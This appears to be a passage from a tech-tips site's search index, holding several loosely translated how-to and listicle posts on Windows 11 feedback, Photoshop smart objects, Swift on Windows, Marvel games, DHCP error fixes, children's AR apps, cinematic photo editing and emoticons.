save your laptop battery efficiently 10 best battery saving apps today for Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGarpJbBtr%2BMqJ1mraOeu6h5y5qnraegYq%2BiwNOeqbJloqq7r7XNoGSloZ6qxQ%3D%3D\n","link":"/post/how-to-check-the-status-of-using-laptop-battery-running-linux/","section":"post","tags":null,"title":"How to check the status of using laptop battery running Linux"},{"body":"For many years, Microsoft created and maintained the Windows Insider Preview program that allows users to preview new versions of the Windows operating system. As a result, operating system bugs will be discovered faster, and much-loved features are also considered by Microsoft to be included in Windows.\nWith Windows 11 Microsoft also soon released the first Insider Preview. If you're installing Windows 11 Insider Preview, you can also provide your feedback to Microsoft. Your bug reports and suggestions will contribute to a better, more complete Windows 11 experience.\nNote: This article is only for users who are participating in the Windows Insider Preview program and are using a computer with Windows 11 Insider Preview installed. To report bugs, provide comments, suggest features for Windows 11 you follow these steps: Step 1: You press the Start button then type Feedback Hub and then click on the search result to open the Feedback Hub application\nStep 2: Sign in to your Microsoft account by clicking Sign in now or Sign in\n  Step 3: On the new interface that appears, you can report a bug by clicking Report a problem and suggest features, contribute ideas by clicking Suggest a feature\n  Step 4: Enter the summary of the bug you want to report or the feature you want to suggest into Summarize your feedback. Then, you fill in the details of the problem you want to send to Microsoft in the Explain in more detail (optional) section. This is optional, you can enter or not. You can use English or Vietnamese language to present your problem. After filling in, click Next to continue\n  Step 5: In this section, you choose a category and specific application for your problem or suggestion. Microsoft also recommends categories and apps for you. You click Next to continue after choosing\n  Step 6: Here, you can select a response that you find similar to yours. If you don't see the same response, you can choose New feedback. You click Next to continue after choosing\n  Step 7: This is a section where you can add details or examples to your response. First, you can check Prioritize this as high severity if your problem is serious and needs priority consideration.\nNext, choose the phrase that best describes your problem from among phrases such as Missing personal data, Security or privacy concern, Important fucntionality. not working (important feature not working).\nAt the end (optional) you can attach a screenshot, file, or use Microsoft's recording tool to reproduce the problem you're having. To use the recording tool, click Start recoding and then manipulate to reproduce errors and problems on Windows 11. After the recording is complete, you can view and edit it before sending it to Microsoft.\n  Step 8: Once everything is done, click Submit to send your feedback to Microsoft\n  In addition to the feature that allows you to send feedback to Microsoft, Feedback Hub also has other features such as:\nFollow, vote, comment on the feedback of others. To do this, click Feedback in the left sidebar of the Feedback Hub interface\n  Get detailed notifications about new Insider Preview versions in Announcements\n  Choose to complete quests in Quests\n  View your achievements in Achievements\n  Hope this article will be useful to you! Good luck.\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbyzwIywoKecn6zAbn2QZpyrqp%2BnwG6%2F1KCenqukYsSqusOorqxlYWZ6p7HArayrnaNis7C%2BjKKlrKGUmr9uvNGeraKdp2LCtLHRrA%3D%3D\n","link":"/post/how-to-report-windows-11-errors-suggest-windows-11-features-for-insider-preview-users/","section":"post","tags":null,"title":"How to report Windows 11 errors, suggest Windows 11 features for Insider Preview users"},{"body":"Smart object is an extremely useful feature in Photoshop. They allow you to edit images and add filters without compromising image quality. However, they are not widely known.\nBeginners may not have even heard of smart objects, and ordinary users think smart objects are an advanced option, beyond their capabilities. In fact, everyone should use smart objects.\nThis article will show you how to start using smart objects in Adobe Photoshop.\nHow to use Smart Objects in Adobe Photoshop What is Smart object? Use smart objects to edit nondestructive Edit multiple smart objects at the same time Edit each smart object Use smart objects linked on some files Use smart filter Filter mask in Photoshop Use smart objects to create templates Disadvantages when using smart objects What is Smart object? Smart object is a special type of layer, allowing non-destructive editing in Photoshop.\nWhen you convert a normal layer into a smart object, the content of the original layer is stored separately, as a sub-file in a large file. No matter how much you edit the smart object, the original content is still unaffected.\n  Smart objects can contain both raster and vector content, acting like normal layers. You can resize or convert them, apply filters or add adjustment layers. You can also make selections and use masks.\nWhat makes it even more useful is that you can access and edit the source content at any time. Just double click the thumbnail for that layer in the Layers panel .\nUse smart objects to edit nondestructive Non-destructive editing or non-destructive editing is the main reason why you should use smart objects. You can expand, resize and rotate them without losing quality.\nThis is how it works.\nOpen an image on a new layer. Use the Free Transform tool ( Ctrl + T on Windows, or Cmd + T on the Mac) to make the image smaller, then press Enter to apply the change.\nNow use Free Transform again to enlarge the image back to its original size. Notice how the image is now softened.\n  This happens because when you make the image smaller, Photoshop removes additional details that are no longer needed.\nNow try this.\nReopen the original image. Right click on the layer in the Layers panel and select Convert to Smart Object . Now repeat the steps above, make the image smaller, then zoom back in.\n  This time the quality will not be reduced. A smart object will save a copy of the original, unedited content so that any changes you make are not permanent. You can even resize images in a comprehensive way without losing quality.\nEdit multiple smart objects at the same time Usually, you will need to reuse the same image, shape or object, multiple times in the same image. By turning it into a smart object, you can edit multiple versions of that element at once.\n  Highlight the layer with the content you want to repeat, right-click and select Convert to Smart Object .\nNext, duplicate the layer several times by pressing Ctrl + J on Windows, or Cmd + J on the Mac. This creates multiple copies of the same smart object, all associated with the same source content.\nUse the Move tool (V) to reposition all your duplicated layers.\n  Now, for any of the duplicated layers, double-click the thumbnail in the Layers panel . This will open the original content in the new tab. Edit, then save and close the tab.\n  Back to your main file, all cloned smart object versions will be updated to reflect the changes you've just made.\nEdit each smart object Of course, you can use smart objects multiple times and edit them individually.\n  To do this, do not copy the layer.\nInstead, go to Layer\u0026gt; Smart Objects\u0026gt; New Smart Object via Copy. This creates a copy of both the smart object layer and the original file.\n  Use smart objects linked on some files In most cases, a smart object uses content embedded in your image file. But you can also create smart objects that are linked to external files.\nThis allows you to reuse smart objects on multiple files and projects. Whenever you update the linked source image, all linked smart object files will also be updated.\nHere is an example.\n  Go to File\u0026gt; Place Linked and select the image file from the desktop you want to use as the basis for your smart object. This will open the image on your canvas as a smart object. Press Enter to confirm.\n  Create another file and do the same again, using the same source image. You should have two documents containing the same image.\nNow open the linked external source image, edit it, then save it. Both files linked to this image will be updated with new changes.\n  When you use this option, you need to take an extra step when saving your file. First, save it as usual. Then go to File\u0026gt; Package and then click Choose to save both your Photoshop file and the linked image in a folder. If you move or delete images linked in another way, your file will fail.\nUse smart filter How to apply smart filters to multiple layers in Photoshop Smart objects give you a major upgrade to Photoshop filters, turning them into smart filters.\nFilters are usually quite heavy. You apply them and if you don't like the effect, you must undo and try again.\nSmart filters on smart objects are indestructible. You can edit them at any time and even hide or delete them if you no longer need them.\n  Very easy to use. Turn your layer into a smart object, then apply the filter in the usual way. Look in the Layers panel and you will see the filter listed below the smart object layer.\nDouble click to edit or drag to the trash to delete it.\nFilter mask in Photoshop Even better, you can hide smart filters to control which position on the image will have an effect.\n  Smart filters have masks that automatically apply to this. That's the box above the filter in the Layers panel. Mask is empty (white) by default. This means that the filter effect is applied across the entire layer.\nClick on the thumbnail of the mask, select a brush and set it to black. Now start drawing on your image. Filter effect is removed from all black areas.\nSet the brush to gray to display a part.\n  These masking filters allow you to create bokeh effects in portraits, or selectively apply sharpening or noise reduction effects to specific areas on the image.\nUse smart objects to create templates The last important reason to use smart objects is that they create easy templates in Photoshop.\nJust right-click on the smart object layer and select Replace Contents. Then select the new image you want to use as the source content.\n  Why is this useful?\nBecause if you applied the filter or changed the shape of a layer, the new source image for your smart object will retain these properties. This will not happen if you put a new image into a separate layer.\nDisadvantages when using smart objects Smart objects are extremely useful, but they have some disadvantages you need to know.\nFirst, files containing smart objects will be heavier. They are larger than regular files and require more system resources.\nSecond, they can also be more complicated. If you are using multiple smart objects, you need to label and group your layers correctly to arrange them neatly.\n  Third, smart objects cannot be edited directly. You can't use things like brushes or clone stamps on an image without converting it into a raster layer. This loses the benefits of smart objects in this process. Do this at Layer\u0026gt; Smart Objects\u0026gt; Rasterize .\nIn addition, you can directly edit the smart object's source content. In most cases, this may be a better option.\nSmart objects are useful, even if you use Photoshop for vector graphics or image editing. And anyone can use them, from beginners to professionals who can benefit from using them.\nAs we have seen, one of the best uses of smart objects is adding filters to images. The article covered basic concepts and there are many things you can do with them.\nGood luck!\nSee more:\n45 smart Photoshop tips you need to know Instructions on how to create 3D effects and objects in Photoshop Create creative blur for photos on Adobe Photoshop ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0ucCrq2ankp%2BypMDSZqCnZZGZvKOxjKmfqKyfqLWwvA%3D%3D\n","link":"/post/how-to-use-smart-objects-in-adobe-photoshop/","section":"post","tags":null,"title":"How to use Smart Objects in Adobe Photoshop"},{"body":"Swift is one of the hottest languages ​​today, and it makes many people happy. OS X and iOS apps make up a large part of the market, so being able to build iOS apps naturally is important for people who don't want to use Objective C (although there are many great reasons). to learn programming language C).\nIf you are new to programming, you will certainly benefit from learning a newer language like Python or Ruby. Swift is the same, it breaks the notion of some people who think that this language will be an obstacle for new learners.\nSwift originated from Apple, it seems hard to know where to start if you don't own a Mac. There is no way to compile Swift on Windows. Does this mean that Windows users cannot learn Swift? However, there is a way to use Swift on Windows. This article will guide you to create a simple Swift program, and how to compile and run it on Windows 10.\nWhat is Swift? Before we start, let's see what Swift really is. Swift is an Apple-designed programming language. According to the Chris Lattner project initiator, it got ideas \"from Objective-C, Rust, Haskell, Ruby, Python, C #, CLU, and other programming languages\".\nThis is a relatively young language widely published in 2014, although it has been widely known before. The TIOBE Index released the top programming language list in 2017, in which Swift ranked at the 11th position, making it one of the fastest growing languages ​​of all time.\nWhat is the Swift programming language? What does it mean for mobile apps?   In short, if you're programming for OS X or iOS, Swift is the right programming language for you. For a more detailed look at how to use Swift, see the reasons why Swift should be learned.\nUse Swift in Windows First, we will need an editor to write code. You can use any IDE to feel comfortable, although not necessarily using the IDE, you can use a text editor. Users should use Notepad ++ because it is free, simple, and can be expanded as needed. Download Notepad ++ if not available and open it.\n  In this article, we will create a simple program that runs on the Windows command line. Start by opening a new Notepad ++ file. We will start by \"printing\" a question into the screen, waiting for the user to type their feedback, then use this feedback to provide the answer.\n print(\"What is your name?\")  This question will show as soon as the program runs. We have now asked a question, then provide a way to allow users to respond. To do this, use the readline () method and save the answer as a variable called response .\n var response = readLine()  If you're familiar with other programming languages, you may notice a few minor differences here. First, you can save the data obtained from readLine as var instead of having to specify in a string. Another change for JavaScript or C # users is the lack of commas to indicate the end of the lines. Python users may feel more familiar.\nNow that this information is stored in a variable, you will use it and show it back to the user.\n print(\"Hello (response!), I hope you are having a great day!\")  Even if you have experience in using other languages, you will see some differences here. Instead of using the + operator outside the quotes to display the variable, here use (variableName) inside the quotation marks. Another Swift feature is using Optional Values . Although users will initially find these values ​​difficult to understand, you can use more functions with these variables.\nIn this case, we just want to display its value, so you'll add an exclamation mark after the variable name response! to indicate that it is not a Optional Value . Optional value is a variable that can or cannot be assigned to a value (it does not need a value). If it is not assigned a value, it will be zero. A question mark (?) After the value type, specifying it as an option, while an exclamation point means that it is not an optional value.\nOnce done, the code will look like this:\n  To save the code, use File\u0026gt; Save As and select Swift file from the Save As Type menu. If the menu does not have a Swift file type, select all files and add the .swift file extension after the selected file name.\nCompile Swift in Windows 10 Now that we have a program, you need to compile and run it. Although there is no way to program Swift in Windows 10, there is another alternative. Han Sangjin created a compiler for Swift available for download from Github. Download and install the Swift for Windows application using the instructions provided in the link. Once installed, open it, you will see the following interface:\n  Click the Select File button and select the program you created earlier. Click Compile and wait for the program to compile. For a small program like this, you will get instant results, different compile times depending on your code.\nThe user will receive a \" Successfully compiled \" message in the dialog box. If you don't see this message, go back and check the code to make sure there aren't any errors. After the code is compiled, click Run to run the program. The program will open in the Windows Command Line and will look like this:\n  Note that you must use the Swift for Windows application to run the code, the generated .EXE file will not work independently, even if the application is open.\nBecause Swift is not designed for use in Windows 10, this is the only way to use the current language in addition to running a virtual machine. Although it's limited, it's a great way for people who are curious about the language to gain experience and learn the syntax.\nIf you decide to use Swift and plan to work with it on OS X, there are many tools that can help you. Once you have mastered the basic environmental skills, why not try a few new projects to gain more knowledge.\nSee more:\nLearning one of these 16 programming languages ​​helps you not to be unemployed 7 Framework JavaScript for mobile application development 5 free application building platforms do not need code ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqrChlql6sb7OoKmapZ2eu6h5y5qloK2RnLJutc1mrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/how-to-use-the-swift-programming-language-in-windows-10/","section":"post","tags":null,"title":"How to use the Swift programming language in Windows 10"},{"body":"Marvel Comics has really exploded in recent years when it comes to bringing their superheroes to the movies. But before that, many of Marvel's video games have been loved since the early 2000s. If you also want to be in the role of superheroes like Iron Man, Spider-man or Hulk, why not experience it right away. Top Marvel's best games?\n1. The Incredible Hulk: Ultimate Destruction (PS2, Xbox, GameCube) Imagine holding in your hand the invincible power of the Hulk? What you will do? Smash the car of the person you hate, jump straight over a congested road? Or take an anger management class? The Incredible Hulk: Ultimate Destruction delivers an experience that lives up to its name: Crazy Smash. You will be playing as Hulk and spoiled for smashing, releasing your anger and stress after a day of work.\n  This game is filled with destructible objects: trucks, buses, tanks, buildings… or anything you can touch. The only challenges that stand in your way are robots, armies and other forces as the boss.\n2. Marvel: Ultimate Alliance (PS4, Wii, PS2, Windows, Game Boy, Xbox 360, Xbox One) This is one of the major game versions of Marvel featuring a combination of famous superheroes such as Spider-Man, Wolverine, Thor and Captain America. Ultimate Alliance has incorporated a lot of great elements into one RPG game. Includes upgrade system, team bonuses, skin changes and special abilities.\n  The game allows you to create a team of 4 players with an interesting story, attractive characters and large locations. The special thing is, the choices you make during the game also determine the final ending.\n3. Lego Marvel Super Heroes (PC, PS3, PS4, Wii U, Xbox 360, Xbox One) Marvel's multiplayer games are also fun, the more the merrier. And that is exactly the spirit that Lego Marvel Super Heroes wants to bring. The game brings together more than 180 superhero characters from the Marvel comic universe, which you can easily join with friends and family, regardless of skill level.\n  With so many characters to choose from, this game is worth your investment of hundreds of hours playing against many other players. Lego Marvel Super Heroes is quite friendly and even beginners can easily get in.\n4. The Punisher (PS2, Xbox, PC) Most of Marvel's games are family-friendly, but The Punisher is definitely not for kids. This game is based on the 2004 film by Thomas Jane, taking elements from the original comics and ideas.\n  The Punisher is a violent and fun third-person shooter, with a variety of weapons to choose from and different difficulty levels. One of its most memorable mechanics is to give you the ability to interact with those around you to learn more information.\n5. Marvel's Spider-Man: Miles Morales (PS4, PS5) Serving as the sequel to 2018's Marvel's Spider-Man, the game takes you on a new journey as Miles Morales – Spider-Man 'apprentice'. That makes it one of the freshest and most comprehensive games in recent times.\n  Miles Morales is an effective mix of new and old, blending gameplay from the first game with a few additions. Since Miles has a different ability than Peter Parker, it's more difficult to learn new moves – among them stealth, which makes for an interesting game scene. Along with that, miles brings a fascinating story, bringing you a lot of laughter and also many tears.\n6. Marvel vs. Capcom 2 (PS2, iOS, PS3, Xbox, Xbox 360)   This is one of the best fighting games ever with the character system interwoven between Marvel and Capcom. A big change in this part 2 is that you can add a character to your battle team. Instead of just two like the previous part, now three of your warriors will help you have more separate strategies in the match. Every player loves the responsive gameplay, impressive cast of characters, and online gameplay of Marvel vs. Capcom 2.\n7. Marvel's Spider-man (PS4, PS5) 2018 was a great year when a series of hit titles were released we are known for like God of War and Red Dead Redemption II. But it's also hard to ignore the appearance of Marvel's Spider-man from Insomniac Studios. This is an extraordinary game that allows you to fully immerse yourself in the life of Spider-Man in a splendid and realistic New York City.\n  The diverse cast of characters including Mary Jane, Miles Morales, Aunt May and the villain Mister Negative tell the interwoven cuts that keep you hooked by the plot. Added to the game are flexible and diverse upgradeable skills, equipment, and outfits to face different enemies. The operation in the game is very smooth and natural, you can easily jump, glide, rotate, combine attacks.\nThe list above is a compilation of the Top 10 best Marvel games. Wish you have moments of comfort and fun playing the game.\nncG1vNJzZmismaXArq3KnmWcp51kuqK%2B1Z6jrGWSmsC1ecaapJ6rXZrDpr4%3D\n","link":"/post/marvel-s-best-games-ever/","section":"post","tags":null,"title":"Marvel's Best Games Ever"},{"body":"In Beijing - China, Sony has launched a new laptop model Sony Vaio CW for 780 USD. \u0026gt; Color Sony Vaio CW. \u0026gt; Sony out Vaio CW and PC all in one.\nBesides, in addition to the fact that there is also the appearance of the world's lightest laptop Sony Vaio X next to \"beauty\" Vaio CW.\nSony Vaio CW is a stylish laptop with vivid colors, belonging to the entertainment segment with the price of 780 USD for basic configuration. While the Vaio X is an ultraportable laptop, weighing approximately 0.7 kg, oriented to dynamic performance, it is quite expensive, but only runs 1300 USD Intel Atom processor Intel Z-series.\nIn Asia, Sony has in turn introduced Vaio CW and Vaio X laptops in Taiwan, China. And the latest two models of Japanese electronics firms will appear in Vietnam in the near future.\nSony Vaio X image next to Vaio CW appears in China.\n\u0026nbsp;\n\u0026nbsp;\nSony Vaio X next to Vaio CW appears in China:\n        ncG1vNJzZmismaXArq3KnmWcp51kwLC62GatmqGfYrC4edOoZJygmaOu\n","link":"/post/sony-vaio-cw-to-china/","section":"post","tags":null,"title":"Sony Vaio CW to China"},{"body":"Dynamic Host Configuration Protocol (DHCP) server is a network protocol that automatically assigns IP addresses. It also distributes network configuration to all connected devices, such as DNS server, subnet mask, and default gateway. But often, errors can appear when renewing, issuing or leasing an IP address. If you receive the \"Unable to Contact your DHCP Server\" error on Windows 10, try the following fixes that TipsMake.com suggests.\nMethod 1. Register DNS Sometimes, manually starting dynamic registration for DNS names and IP addresses can fix the error. You can do this by registering your DNS through Command Prompt.\nStep 1: Type cmd in the Windows search bar, select Run as administrator on the right hand side to open CMD with admin rights.\n  Step 2: Type this command and press Enter:\nipconfig /registerdns   Step 3: Restart the computer and confirm if the error has been resolved. If not, try other fixes.\nMethod 2. Restart the DHCP server Errors can occur if DHCP has stopped or the system cannot connect to the service. To resolve this issue, restart the DHCP client service.\nStep 1: Press Windows + R key combination, type services.msc into the Run dialog box and press Enter.\n  Step 2: Find the DHCP client option, right click on it and select Properties.\n  Step 3: Change Service status to Stop.\nStep 4: Set Startup type to Automatic.\nStep 5: Click the Start button, select OK, then click the Apply button to update the changes.\n  Method 3. Reset TCP/IP Reset Winsock and IP stack is another possible solution to fix the error. To reset TCP/IP, follow these steps.\nStep 1: Type cmd in the Windows search bar and select Run as administrator.\n  Step 2: Type the following commands and press Enter after each command.\nnetsh winsock reset netsh int ip reset ipconfig /release ipconfig /renew ipconfig /flushdns Step 3: Restart the computer and see if the error has been eliminated.\nMethod 4. Update and reinstall the network driver Old and outdated drivers are a common cause of DHCP server failure to connect. Updating the system will install newer versions that support the current network protocol. Reinstalling the network driver helps find the right driver for the device.\nStep 1: Right-click the Windows Start button and select Device Manager.\n  Step 2: Locate Network adapters and expand the list. Select the problematic network adapter and click Update driver.\n  Step 3: Click Search automatically for updated driver software. And when the process is complete, restart the PC.\n  Alternatively, uninstall then reinstall the problematic driver. Here's how you can do it.\nStep 1: On the Network adapters option, select Uninstall device.\n  Step 2: Confirm the process by clicking the Uninstall option.\n  Step 3: At the top of the screen, click Scan for hardware changes.\n  Wait for Windows to complete the process, then restart the device.\nAlso, consider rolling back to a previous version that worked fine with your computer. Here's how you can do it.\nStep 1: Navigate to the problematic network adapter, right-click it and select Properties.\nStep 2: Select the Driver tab and find the Roll Back Driver option and then select it. Click OK.\nNOTE: If the option is grayed out, it means there is no backup file because the driver was not updated recently.\n  Method 5. Disable IPV6 The error also occurs if IPv6 is enabled and there is no local network to connect to. To fix this problem, follow the instructions in the article: Disable IPv6 to fix Internet connection problems on Windows computers.\nGood luck with your troubleshooting!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5edSnmJuklWLBsHnCqKWtmZOperq71KtknaCTpXq0sdGvnKtllae%2FsL6MqKVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/steps-to-fix-unable-to-contact-your-dhcp-server-error-on-windows-10/","section":"post","tags":null,"title":"Steps to fix 'Unable to Contact your DHCP Server' error on Windows 10"},{"body":"Virtual reality apps are emerging as a phenomenon when applied a lot in learning. Especially for children when these applications will help children to be aware of the surrounding things easily and most specifically.\nBut adults are also attracted to these virtual reality applications because of the strange and interesting imaging technology. Another reason is that if you want to understand something, based on the visual illustration of virtual reality, users are somewhat easier to understand. Here is a summary of the most compelling virtual reality applications on the phone.\nHow to watch 4D dinosaurs on virtual reality glasses with Octagon VR app Top 6 virtual reality games worth playing today Using Dinosaur 4D + and 4D dinosaur collection Virtual reality applications for children on the phone Animal 4D +   Download Animal 4D + for iOS Download Animal 4D + for Android Animal 4D + is a 4D animal creation application on the phone screen that is currently very hot. Animal 4D + application will help you easily put 4D animals on the phone screen in the most honest way.\nTo use Animal 4D +, you just need to launch the application, then point the camera at the Octagon predefined image for the user. Immediately, the virtual reality image will be displayed according to the image on the camera, you can touch and rotate the animal displayed on the screen.\nAnimal images such as dogs, horses, elephants, fish, snakes, bears . will be given Animal 4D + with the most realistic image with the sound of each animal. Animal not only knows shapes and sounds, but also helps children learn English vocabulary about animals.\nWith Animal 4D's appearance, it will help children reach out to a new direction of education and much easier to understand.\nDinosaur 4D   Download Dinosaur 4D + for iOS Download Dinosaur 4D + for Android Similar to Animals 4D, Dinosaur is also a virtual reality application. However, this application only allows users to observe prehistoric dinosaurs on the phone screen in a vivid and interactive way when combined with cards from Octagon Studio.\nDinosaur 4D + will give you the opportunity to return to prehistoric times to observe and learn about the extinct dinosaurs on Earth millions of years ago. Simply combine the Dinosaur 4D + flashcard application from Octagon Studio and see the 3D dinosaurs appear on the flashcard.\n  You can interact with them by rotating, zooming in or zooming out of dinosaurs to see details on their bodies. Or you can move your device to observe them 360 degrees.\nCars 4D +   Download Cars 4D + for iOS Download Cars 4D + for Android Next is a virtual reality application that is considered to be quite interactive. Cars 4D + is an application that will help users to know different types of vehicles in alphabetical order of the English alphabet and users only need to scan flashcards with their device.\nThen, the 4D image of the vehicle you just scanned will immediately display with the highest quality and truest. The word A represents Ambulance (ambulance) to the letter Z representing Zoo Transporter (car transporting animals in the zoo).\n  Especially when users can drive and operate vehicles with full function as on a real car. You can set the number, turn on the light, use the wipers . all these features will help users to know the use of each part on each different vehicle type.\nSpace 4D +   Download Space 4D + for iOS Download Space 4D + for Android Space 4D + is an AR application that belongs to this developer 4D + series. Help users discover the universe system. Especially young children with the wonders of the universe. This entertainment application is simple but smart and easy to help children approach the planets in the solar system, as well as discover the vast vast space of the universe.\nWhen displaying planets in the solar system, users can rotate and shrink or enlarge planets like globes. Learn about the size of planets in the Solar System in terms of size, weight or, more specifically, control the Mars or Moon probes.\n  In addition, to make it easier for users to understand, Space 4D + also provides a short description of every planet in the Solar System for users to improve their knowledge. To display images fully on Space 4D +, you can download a set of 37 images from the developer's website.\nOr take another device with flashcard Space 4D + saved and take your phone to project the camera image to display images of planets, the solar system or devices for exploring the universe.\nHumanoid   Download Humanoid 4D + for iOS Download Humanoid 4D + for Android Humanoid 4D + is a tool to help parents intending to introduce the human body to young children. Humanoid helps you quite break the human body with visual 4D images, not only suitable for small children but also for those interested in AR technology.\nWith the flashcard, Humanoid will describe parts of the human body with specific functions and organs. Users can learn in an interactive way about how the parts of the human body work by touching the screen at the specified time intervals.\n  The Humanoid 4D + AR application will include a series of quizzes, a full introduction of the parts of the human body. Learners can arrange parts to form the full shape of the human body. In addition, you can find out information about internal organs, internal organs and even organ systems in your body.\nIncludes 8 main body systems, fully describing important parts of the human body, followed by its subsystems and derivatives. Major organ systems include cardiovascular system, nervous system, immune system, respiratory system, digestive system, sheath, muscular system, skeletal system, urinary system and endocrine system.\nOctaland 4D +   Download Octaland 4D + for Android\nOctaland 4D + will help children learn about different careers such as: Police, teachers, doctors, scientists, astronauts, cooks, magicians, hairdressers, nurses . from That will help children have a passion for learning and orienting their future work.\n  The flashcards of Octaland 4D + will describe the occupation details of each card according to the specific images of each different occupation. In addition, the images shown will have actions that help children understand what that profession will do.\n4D +   Download 4D + for iOS Download 4D + for Android 4D + is the app that scans all products of Octagon Studio, including Animal 4D +, Dinosaur 4D +, Space 4D + . and other developer apps. The icons that appear as images when using flashcard have images and sound for users to understand.\nBesides, young children also have more English vocabulary knowledge and standard pronunciation for things to learn in 4D +.\n  Users can download and use the included flashcard applications in various topics like Animal 4D +, Dinosaur 4D +, Cars 4D +, Octaland 4D + with topics like animals, universe, careers, vehicles .\nWith the above virtual reality applications, you will have more knowledge that you previously did not know in a very specific and lively way. Certainly with the vivid images that virtual reality applications bring, it is much easier to collect knowledge for children.\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcrKGjYryneZZmqq6olad6pLvOpWSvoaKpwqK4jKucmqSZqcZurc%2Bpqmaen6d6rLXDrGSopl2ptaZ5z6Gmp50%3D\n","link":"/post/synthesis-of-7-super-cool-virtual-reality-apps-for-kids-on-the-phone/","section":"post","tags":null,"title":"Synthesis of 7 super cool virtual reality apps for kids on the phone"},{"body":"Cinematic Photography is a fairly new concept and has not been known by many photographers in photography. Each photo will be transformed, giving users the feeling of watching a scene in a movie. This will impress the viewers, creating a new feel in each picture.\n1. What is the Cinematic Photography style? Cinematic Photography is a combination of photography and cinema, providing a very suggestive space in every picture and story in it. The subject in the photo is usually a normal perspective, the portrait has a story or specification of a certain angle naturally.\nUnlike images that often bring about a spatial experience, the Cinematic style makes viewers feel about time, fantasize and immerse in pictures, feel the lines of words. The author posted in each of those frames.\n  Usually cinema-style photos will have a 16: 9 aspect ratio and will be inserted in the top black bar with a ratio of 2.35: 1 (1.33x) or 2.66: 1 (2x). For photographers overseas they use a lens Adapter called Anamorphic lens to attach to the camera lens (Panasonic LA7200, SLR Magic Anamorphot, Kowa 16, Sankor 16, Isocrama .).\nThe effect of this lens is to distort the image so that I can use Photoshop to pull it back to the right ratio of 2.35: 1 or 2.66: 1 and create flare rays under the beautiful and subtle lights. However, the price of these lenses is very expensive (the old model is about $ 500, and the good is over $ 1,000).\n2. Guide to cinematographic photography: If you are interested in photography style, you can follow the tutorial below:\nStep 1: Select RAW image file and put it into Lightroom.\nDownload Lightroom software to your computer   Step 2: Use split toning to edit colors according to the purpose of the photographer.\n  Step 3: Next, we will adjust the saturation (saturation) and luminace (luminace) of the color accordingly.\nStep 4: Adjust dark areas (black), temperature, shadows and saturation on the image.\nArticle 5: Add vignette and image noise , to make it look more like a movie and reduce the digital look. You should adjust to fit the image.\nStep 6: Extracted via PS. Click on the control panel to select Unlock (Option key on Mac or Alt on Windows).\nStep 7: You add a black layer to the bottom of the background. There are already many styles of cinematic photography already.\n  Step 8: Use the Marquee tool to select a fixed scale for width and height. Enter 16 for width and 9 for height to create a full screen 16: 9 aspect ratio. Click and hold the mouse button and drag the marquee to the entire 16: 9 area. Then select Image\u0026gt; Crop on the Menu.\nStep 9: Choose a fixed ratio of 2.35: 1 in Anamorphic (irregular alignment). Don't crop the image, add an adjustment layer and click on the small link icon between the image and the Adjustment Layer to separate them.\nStep 10: Return to the Layers panel . Right-click the mask and select Apply Layer Mask to apply the mask to the image.\nStep 11: Adjust the picture to fit into the black letterboxes. Type Cmd (hold down Ctrl in Windows) and A to apply color to the entire image.\nThen right-click the Adjustment Layer and Apply Layer Mask to apply the mask to the image.\nStep 12: Select the entire image, navigate to the menu Go to Layers and select Align Layers to Selection and then choose Vertical Centers to straighten the layer.\nVideo tutorial Cinematic photography by Brodie Butler Refer to the following articles: 10 simple photography techniques for impressive photos 10 tips for taking beautiful photos with digital cameras 9 basic rules of composition in photography I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwaK3xGaYZqiZmMG2vsRmpp9lpJ2ybq%2FIp5ymmaSesG68x6irqJ%2Bilr2pxYysq7KklQ%3D%3D\n","link":"/post/take-a-picture-of-the-cinematic-photography-style/","section":"post","tags":null,"title":"Take a picture of the Cinematic Photography style"},{"body":"Since starting to talk to each other through the use of a keyboard and screen, people have used emoticons, smiley and emoji to fill the gaps. You don't show nuances or intonation when texting, so putting in a smiley icon makes sure the message conveys the emotion you want.\nBut there is a difference between emoticon and emoji. Find out more about this issue with TipsMake.com via the following article!\nDistinguish 3 concepts of emoticon, smiley and emoji Is the emoticon and emoji the same? What is an emoticon? The emoticon comes from an overly funny joke What is Emoji? Some emoji and emoticon are interchangeable What is Smiley?  How and when does emoji replace emoticon? Is the emoticon and emoji the same? Emoticon and emoji are not the same. The two terms have been used interchangeably by even the big names in the media like the New York Times and the BBC, but in fact, they are different things.\nThe cause of confusion is that both emoticon and emoji are used to augment 'spice' for dry text conversations. And even the names of these two concepts sound similar.\nBut the difference between them is really simple: Emoticon is a combination of symbols available on the keyboard, such as letters and punctuation marks, and emoji are images. The article will explain this in more detail in the next section.\nWhat is an emoticon? As the article explained briefly above, the emoticon is a set of punctuation marks, letters and numbers arranged to resemble the human face. Each emoticon is more or less understood in a general way and represents an emotion, or sometimes a certain object. For example :-D means laughing or grinning, -O is a surprise and  is the most heart-shaped symbol.\nEven so, Western and Eastern culture has completely different emoticons. The emoticons of the West must be read horizontally, respectively from left to right, while the Eastern emoticons do not need to rotate and can sometimes use non-Latin characters.\n  The emoticon comes from an overly funny joke In 1982, Neil Schwartz published a physics puzzle related to mercury and a candle on the message board of Carnegie Mellon University (CMU). The colleague of Neil Schwartz and Howard Gayle then issued a warning with the following content:\n\"WARNING! Due to a recent physical experiment, the leftmost elevator has been contaminated with mercury. There is also some minor damage caused by fire. Decontamination will be completed before 8:00 PM. Friday'.\nIt's easy to predict what happened next: The joke has become a terrible mistake and panicked the students in the school. And that is said to be the reason why emoticon was born.\nDr. Scott E. Fahlman, a computer scientist at CMU, suggested that all jokes on the bulletin board must be marked with a character set :-), which looks like a smiley face when turned to one side. Another set of characters, :-(, will come with all the serious posts. These typeface faces are then spread on the web and called emoticon or emotion icon.\nWhat is Emoji? Emoji is a hieroglyph or small image that can display anything, from smiling faces, mangoes or cigarette butts. New emojis appear every year to please smartphone users. The word emoji basically means 'picture character' (in Japanese, e means that the image and moji are letters and characters).\nSeveral thousand emoji have corresponding code in Unicode, a standard in computing for coding. Messaging applications, social networks and browsers read this code, then show you a suitable image. Different software may have slightly different graphics, which is why the emoticons you send from iPhone are not exactly 